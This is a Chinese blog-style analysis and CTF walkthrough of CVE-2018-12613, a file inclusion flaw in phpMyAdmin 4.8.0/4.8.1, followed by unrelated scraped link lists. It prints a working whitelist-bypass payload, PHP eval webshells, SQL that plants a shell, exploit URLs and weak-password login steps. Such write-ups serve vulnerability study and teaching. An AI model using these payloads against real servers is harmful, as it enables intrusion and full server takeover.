1.漏洞基础介绍

1.1漏洞背景

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

ChaMd5安全团队披露了他们发现的一个phpMyAdmin文件包含漏洞,并且演示了如何将本地文件包含升级至远程命令执行。随后,phpmyadmin在最新版本修复了这个严重级别的漏洞。

1.2漏洞介绍

攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。

攻击者必须经过身份验证,但在这些情况下除外:

$ cfg ['AllowArbitraryServer'] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;

$ cfg ['ServerDefault'] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

影响版本:phpMyAdmin 4.8.0和4.8.1

2.漏洞原理分析

有了上面的基础知识后,我们就可以进入本篇文章的重头环节——漏洞的原理分析。

2.1 源码分析

该漏洞在phpMyAdmin4.8.0和4.8.1中存在,这里以phpMyAdmin的4.8.1版本为例进行分析。首先我们要获取phpMyAdmin4.8.1的源码,当然没有源码也并不妨碍你读懂该篇文章,与漏洞相关的重要的代码都已经显示在文章中。将我们的源码使用seay(代码审计工具)打开。因为我们已经明确该漏洞是文件包含漏洞,所以直接在seay中全局搜索include关键字,发现代码中存在大量的include。但是大部分的include都是类似于下面这种

include 'libraries/db_common.inc.php';

将包含的文件名或者路径写死在程序中,也就是说用户无法控制包含的文件也就不存在文件包含漏洞。我们主要是寻找用户可以控制文件路径的include函数。本文讨论的漏洞出现index.php文件的在下面的代码中

include $_REQUEST['target'];

从代码中可以看出,他会从客户端接收数据,然后将数据指定的文件包含到程序中,显然我们可以控制包含的文件。这便是我们要执行的目标代码

接着仔细查看该段代码出现的文件内容,查看如何能够触发文件包含,也就是说如何能够让程序执行到存在文件包含漏洞的代码。从目标代码往前查看,寻找die、exit这些能够导致退出脚本的语句。我们在代码中找到了如下的内容

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
  }

可以看到我们要执行的目标代码本身位于一个if判断中,该if判断中存在五个条件

条件编号

条件内容

条件1

!empty($_REQUEST[‘target’])

条件2

is_string($_REQUEST[‘target’])

条件3

!preg_match(’/^index/’, $_REQUEST[‘target’])

条件4

!in_array($_REQUEST[‘target’], $target_blacklist)

条件5

Core::checkPageValidity($_REQUEST[‘target’])

必须要同时满足上面的5个条件才可以执行我们的目标代码。条件1表示来自客户端的传参的target字段值不可以为空;条件2表示target字段的值必须要是字符串;条件3表示target字段的值不可以以index开头。在条件4中出现了一个新的变量$target_blacklist,在条件5中有一个函数Core::checkPageValidity。接下来我们要研究这一个变量和一个函数。

根据该变量的命名可以推测,该变量应该是一个黑名单。在程序中找到了该变量的定义如下

$target_blacklist = array (
    'import.php', 'export.php'
);

可以看到变量$target_blacklist是一个数组,里面存放的是两个文件名。也就是说该变量确实是一个黑名单,条件4是判断target的值是否在黑名单中,如果在黑名单中in_array函数就会为真,而!in_array也就为假。整个的if就会不成立,所以我们输入的target的内容不可以为import.php或者export.php。

弄清了变量的意思,接下来要看看函数

Core::checkPageValidity

的作用,在程序中找到该函数的定义如下

class Core
{
       //...
       public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }
        if (in_array($page, $whitelist)) {
            return true;
        }
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        return false;
    }
       //...
}

该函数是Core类的一个静态方法。代码的作者在代码中对该函数的功能进行了描述,即该函数会根据白名单对target传参进行审查,如果target的值在名单中该函数就会返回true。其中白名单存放在$whitelist变量中。

接下来我们来仔细的分析一下该函数的处理逻辑。可以看到在该函数中存在5个if判断,分别是

判断编号

判断内容

判断1

if(empty($whitelist))

判断2

if(!isset($page)||! is_string($page))

判断3

if(in_array($page, $whitelist))

判断4

if(in_array($page, $whitelist))

判断5

if(in_array($page, $whitelist))

因为在函数中定义了如果$whitelist在传参的时候为缺省,就会直接置为空值。

public static function checkPageValidity(&$page, array $whitelist = [])

所以第一个if判断是在函数是对白名单进行初始化操作,原始的白名单内容存放在变量$goto_whitelist中,该变量的值为

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        //......
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

在执行完第一个判断后,变量$whitelist中就存放了白名单的内容。判断1只是完成白名单的初始化操作,与我们传参的内容无关。接着看判断2,

if (! isset($page) || !is_string($page))

该判断是用来检测我们target字段的值是否不为空且类型为字符串。后面三个判断都是检测taget字段的值是否在白名单中,如果在白名单中该函数会返回true。

 if (in_array($_page, $whitelist))

但是关键点在于如果不在白名单中该函数并没有直接返回false,而是对target字段的值进行了处理然后再进行匹配。

判断3是直接判断target字段的值是否在白名单中,如果不在白名单中会执行下面的代码

$_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );

该段代码会截取传参之前的内容,比如我们传入的内容是index.php?id=1,经过该函数处理后会变成index.php。然后将截取到的文件名与白名单进行匹配,也就是判断4执行的内容。如果匹配成功返回true,匹配失败接着对target的值进行处理,会执行下面的代码

$_page = urldecode($page);
$_page = mb_substr(
$_page,
            0,
            mb_strpos($_page . '?', '?')
    );

该段代码会对target的值进行URL解码,然后对解码后的内容截取?传参之前的内容。在将截取到的内容与白名单进行匹配,也就是执行判断5的内容,这是最后一个判断。如果该判断成立会返回true。所有的判断都不成立就会返回false。

2.2 构造payload

2.2.1 设想一:target=db_sql.php?/…/

如果我们想成功执行

include $_REQUEST['target'];

必须要使我们的target传参同时满足以下5个条件

条件编号

条件内容

说明

条件1

!empty($_REQUEST[‘target’])

target的值不可以为空

条件2

is_string($_REQUEST[‘target’])

target的值的类型必须为字符串

条件3

!preg_match(’/^index/’, $_REQUEST[‘target’])

target的值不能以index开头

条件4

!in_array($_REQUEST[‘target’], $target_blacklist)

target的值不能为import.php, export.php

条件5

Core::checkPageValidity($_REQUEST[‘target’])

target的值必须能够成功匹配白名单

在条件5的函数中又存在5条判断

判断编号

判断内容

说明

判断1

if(empty($whitelist))

白名单不可以为空

判断2

if(!isset($page)||!is_string($page))

target的值不可以为空且类型为字符串

判断3

if(in_array($page, $whitelist))

将原生的target值与白名单进行匹配

判断4

if(in_array($page, $whitelist))

将去掉传参的targte的值与白名单进行匹配

判断5

if(in_array($page, $whitelist))

将URL解码并去掉传参的target的值域白名单进行匹配

前两条判断可以很顺利的通过,在第三条判断中不存在操作空间,因为他会直接将我们传参的内容与白名单进行匹配。在第四条判断中,我们可以构想如下的payload

target=db_sql.php?/../
该payload表示的路径是当前工作目录,如果该payload可以在include中成功的被包含,那么我们就可以以当前目录为依据完成文件包含。其中db_sql.php是白名单中的文件,显然该target的值可以顺利的通过前4个条件,
! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)

在执行第5个条件的时候

&& Core::checkPageValidity($_REQUEST['target'])

进入checkPageValidity函数函数中执行5个判断,

if(empty($whitelist))
if(!isset($page)||!is_string($page))
if(in_array($page, $whitelist))
if(in_array($page, $whitelist))
if(in_array($page, $whitelist)) 

判断1与我们输入的内容无关,判断2显然可以顺利通过,

if(empty($whitelist))
if(!isset($page)||!is_string($page))

在执行判断3与白名单进行匹配的时候会匹配失败,然后执行判断4,判断4会去除?之后的内容,target的值从db_sql.php?/…/变成了db_sql.php,与白名单匹配成功了,直接返回true,也就让五个条件都成立,

! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])

然后执行我们的目标代码。

在执行checkPageValidity函数的时候并没有修改target的值,在对target的值进行处理后再匹配时,使用_page变量保存的处理的后的值,而没有直接修改target的值,所target的内容依据是我嗯输入的db_sql.php?/…/。但是include所使用的文件的路径中不可以包含特殊字符,而我们使用了?,所以依旧无法完成文件包含。

2.2.2 设想二:target=db_sql.php%253f/…/

虽然设想一没有完成文件包含。但是我们可以利用判断5中会进行URL解码来进行文件的包含。当我们使用GET进行传参的时候浏览器会对GET传递的数据进行URL编码,数据到达服务器后会进行URL解码。比如我们使用GET传递一个单引号(’),浏览器会将其编码为%27,然后传递给服务器端,服务器接收到数据后会进行URL解码,获得传递的值(’’)。但是如果我们手动在数据包中的将%27修改为%2527,那么服务器端接收到%2527的时候会进行一个URL解码,解码后变成了%27(%25是%的URL编码)。而站点的代码中又调用了urldecode函数对传参的内容进行URL解码,在第二次解码后,我们传递的内容变成了单引号(%27是单引号的URL编码)。也就是说客户端发送来的数据服务端进行了两次URL解码。

而我们这里的判断5中就调用urldecode函数。因此我们可以尝试构造下面的payload

target=db_sql.php%253f/../

首先服务器接收到该传参后进行一次URL解码,变成

target=db_sql.php%3f/../

该值可以顺利的通过前4个条件的判断,

! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)

然后进入checkPageValidity函数,在执行判断3、4的时候均匹配失败(判断3匹配原声target的值,判断4匹配去掉传参后的target的值),于是执行判断5,在条件5中会对该值进行URL解码,变成了

target=db_sql.php?/../
#%3f是?的URL编码

解码完成后,会去除去除传参,最终变成了

target=db_sql.php

能够成功的匹配白名单。因此条件5也成立,

&& Core::checkPageValidity($_REQUEST['target'])

便能够执行目标代码

include $_REQUEST['target'];

虽然在checkPageValidity函数中对target的值进行了一系列处理,但是并没有影响到target真正的值,因为在使用处理后的target进行白名单匹配的时候,都是使用了一个新的变量接受target的值,而并没有直接影响target本来的值,所以target的值依旧为

target=db_sql.php?/../

现在target值并没有携带include无法接受的特殊符号,因此该payload可以成功跳回当前目录,我们就可以在后面添加任意的路径来包含任意的文件。

3.漏洞利用

知道了站点存在文件包含漏洞,也明确了绕过过滤的办法,接下来要解决的就是如何利用该漏洞。也可以基本设想就是在站点上传一个木马文件,然后通过文件包含漏洞包含该文件,也就是登录执行了木马程序,我们也就可以成功的getshell。

有了上面的基本设想,便可以开始下面的操作了。首先这里是一个后台文件包含的漏洞,因此首先我们需要登录phpMyAdmin。在这里我们无法上传文件,但是我们可以利用MySQL的数据在站点写入木马。

首先要知道MySQL中存放的数据都是以文件的形式存放在服务器上的,我们可以在服务器上创建一个表,该表包含只有一个字段,而这个字段名就是一个木马程序

<?php @eval($_GET['cmd']);?>

或者是

<?php file_put_contents('1.php','<?php eval($_REQUEST[cmd])?>');?>

当我们将表的字段名设置为木马后,数据库会创建一个文件,文件中会包含该句代码,也就相当于我们在站点写入了一木马文件。这里使用第一个程序,创建一个表然后将表的字段名设置为木马

CREATE TABLE `test`.`wjbh` ( `<?php @eval($_GET['cmd']);?>` INT);

完成了木马文件的写入后,我们要使用该漏洞来包含我们的木马文件。首先我们将页面的URL修改为

http://ip/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/test/wjbh.frm&cmd=phpinfo();

因为漏洞是出现在index.php文件中,我们对该文件进行传参

target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/test/wjbh.frm&cmd=phpinfo()

当index.php接收到target的传参的时候,会进行过滤。根据我们前面的分析,这里所使用的路径可以绕过站点的过滤,顺利的执行到include代码。当include包含该文件的时候会根据文件路径去寻找文件。这里的

db_sql.php%253f/..

表示的就是当前的工作目录,然后不断的通过’…'跳到上一级目录,无论跳了多少次,最多也只会回到根目录,因此我们可以多跳几次确保进入根目录中,然后在加上木马文件的路径

phpstudy/mysql/data/test/wjbh.frm
#该路径是存放我们之前创建的表的文件

当程序包含了我们的木马程序后,会执行我们的木马程序,我们在URL中又对木马程序进行了传参

cmd=phpinfo()

木马程序会将我们传参的内容当作代码执行,因此我们访问该URL后页面会显示phpinfo的内容,显示如下

说明该木马可以成功的执行,但是要我们要执行该木马文件需要登录phpMyAdmin,登录的步骤会给我们的后续操作代码不变,我们希望可以直接访问木马文件。因此我们可以控制该木马写入一个新的木马文件,将URL修改为

http://ip/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/zgj/wjbh.frm&cmd= file_put_contents('8.php','<?php @eval($_REQUEST[cmd])?>');

也就是想木马文件传参

file_put_contents('1.php','<?php @eval($_REQUEST[cmd])?>');

木马文件会执行我们传递的参数,然后会在站点的根目录下写入一个新的木马文件,我们可以通过下面的URL直接访问到该木马文件。

http://ip/phpmyadmin/1.php

有了该木马文件后,我们可以使用菜刀或者其他工具链接该站点,直接拿下站点的服务器,为所欲为。

4.实战利用:
墨者学院 phpMyAdmin后台文件包含分析溯源

网址:https://www.mozhe.cn/bug/detail/264

我们进入靶场,并开启靶场,可以进行该题目

直接输入url,如图所示,219.153.49.228:40477,这样就可以进如该题目,进入后发现是一个phpmyadmin的后台登录界面

我们考虑使用弱口令进行登录(万能密码也可以),弱口令(常见的root,admin,test)

本题是root和root,进入后可以发现:

它的版本是4.8.1,符合CVE-2018-12613漏洞,所以我们直接考虑用2种方法进行做题

方法1,构造payload,直接做题,原理及介绍在上面都有

?target=db_sql.php%253f/../../../../key.txt

至于为什么是在index.php下构造,用%253f,而不是?,原因是

如图所示结果是:

方法2,使用sql语句,一句话木马,菜刀连接

我们在在上面一栏中的功能栏中,可以发现有一个sql,我们打开后可以发现:

我们构造sql语句,将一句话木马输入其中

select into 的意思是通过 SQL,您可以从一个表复制信息到另一个表。

SELECT INTO 语句从一个表复制数据,然后把数据插入到另一个新表中。

而outfile的意思是输出文件,我们输入后面的那个文件,1.php的意思是那个一句话木马,也就是<?php eval($_POST[giao]);?>

至于为什么是/var/www/html目录下,大家可以看一下我的linux的各个目录的介绍

我们可以直接用蚁剑进行连接,url是url/1.php,也就是如下图所示:

连接成功后,我们可以发现:

我们逐次查看各级目录,在根目录下可以发现一个key.txt的文件,所以我们打开这个key.txt的文件就是我们此题的答案

key.txt的内容如下,也就是本题的答案,直接输入即可完成此题

CVE-2018-12613总结的更多相关文章

  1. 深入剖析最新IE0day漏洞

    在2018年4月下旬,我们使用沙箱发现了IE0day漏洞;自从在野外发现上一个样本(CVE-2016-0189)已经有两年多了.从许多方面来看,这个特别的漏洞及其后续的开发比较有趣.下一篇文章将分析最 ...

  2. 2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用 一. 实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要 ...

  3. Debian Security Advisory(Debian安全报告) DSA-4405-1 openjpeg2

    package :openjpeg2 相关CVE ID: CVE-2017-17480 CVE-2018-5785 CVE-2018-6616 CVE-2018-14423 CVE-2018-1808 ...

  4. 2018-2019-2 20165330《网络对抗技术》Exp5 MSF基础应用

    目录 基础问题 相关知识 实验目的 实验内容 实验步骤 离实战还缺些什么技术或步骤? 实验总结与体会 实验目的 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路 返回目 ...

  5. 2018-2019-2 网络对抗技术 20165230 Exp5 MSF基础应用

    目录 1.实验内容 2.基础问题回答 3.实验内容 任务一:一个主动攻击实践 漏洞MS08_067(成功) 任务二:一个针对浏览器的攻击 ms11_050(成功) ms14_064(成功) 任务三:一 ...

  6. Linux提权常用漏洞速查表

    漏洞列表 #CVE #Description #Kernels CVE–2018–18955 [map_write() in kernel/user_namespace.c allows privil ...

  7. 【转帖】2018年Windows漏洞年度盘点

    2018年Windows漏洞年度盘点丨老漏洞经久不衰,新0day层出不穷 腾讯电脑管家2019-02-12共17875人围观 ,发现 1 个不明物体网络安全资讯 https://www.freebuf ...

  8. Gartner 2018 年WAF魔力象限报告:云WAF持续增长,Bot管理与API安全拥有未来

    Gartner 2018 年WAF魔力象限报告:云WAF持续增长,Bot管理与API安全拥有未来 来源 https://www.freebuf.com/articles/paper/184903.ht ...

  9. 2017年总结&2018年计划

    谈一谈2017年计划: 1.完成壁咚项目2.写一个自己的扫描器3.完善web安全手册.4.搞一个大漏洞或CVE的漏洞 完成进度:1.壁咚这个项目,当初发誓要用java来写完,其实最开始就已经写完了,前 ...

  10. CVE漏洞分析

    分析cve-2018-9489漏洞和download content provider(CVE-2018-9468, CVE-2018-9493, CVE-2018-9546), 每人至少选择一个漏洞 ...

随机推荐

  1. Redis之Sentinel

    Redis的主从复制模式下,一旦主节点由于故障不能提供服务,需要人工将从节点晋升为主节点,同时还要通知应用方更新主节点地址,对于很多应用场景这种故障处理的方式是无法接受的.可喜的是Redis从 2.8 ...

  2. 温故知新,DotNet Core SDK和.Net CLI十八般武艺

    简介 .NET命令行接口 (CLI) 工具是用于开发.生成.运行和发布.NET应用程序的跨平台工具链. https://docs.microsoft.com/zh-cn/dotnet/core/too ...

  3. 如何优雅地实现浏览器兼容与CSS规则回退

    读完了<Visual Studio Code权威指南>,前端方面书籍不能停,于是捡起「CSS一姐」 Lea Verou 的<CSS魔法>. 我们没法控制用户使用新版本还是老版本 ...

  4. 19、oracle的启动和关闭过程

    19.1.oracle数据库实例的启动分三步: 1.启动oracle例程: startup nomount; #读初始化参数文件,启动实例,但不安装数据库.当数据库以这个模式启动时,参数文件被读取, ...

  5. js 正则表达式 验证数字或字母

    let reg= /^(^[0-9]*$)|(^[A-Za-z]+$)/ /*reg= /^(?![0-9]+$)(?![a-zA-Z]+$)[0-9A-Za-z]$/*/ if(!reg.test( ...

  6. css实现文字过度变色效果

    html: <div class="news text-center"> <a href="#"> <span>新</ ...

  7. ubuntu docker开启2375端口,支持远程访问

    1.编辑docker文件:/usr/lib/systemd/system/docker.service vi /usr/lib/systemd/system/docker.service 2.Exec ...

  8. 南京大学计算机基础 ELF和可执行文件格式

    1.可重定位目标文件格式 主要是由ELF头,一些节比如.text节,.rodata节,.data节,.bss节等,前面是只读的,后面是可读可写的,加上一个节头表 1.1 ELF头里面主要包含了16字节 ...

  9. 《基于JQuery和CSS的特效整理》系列分享专栏

    <基于JQuery和CSS的特效整理>已整理成PDF文档,点击可直接下载至本地查阅https://www.webfalse.com/read/201724.html 文章 一款基于jQue ...

  10. runtime使用总结

    runtime这个东西,项目是很少用到的,但面试又避不可少,了解其内部的机制对底层的理解还是很有必要的. 1.动态添加属性 拓展类别属性的简单实现 a.定义字面量指针 static char dyna ...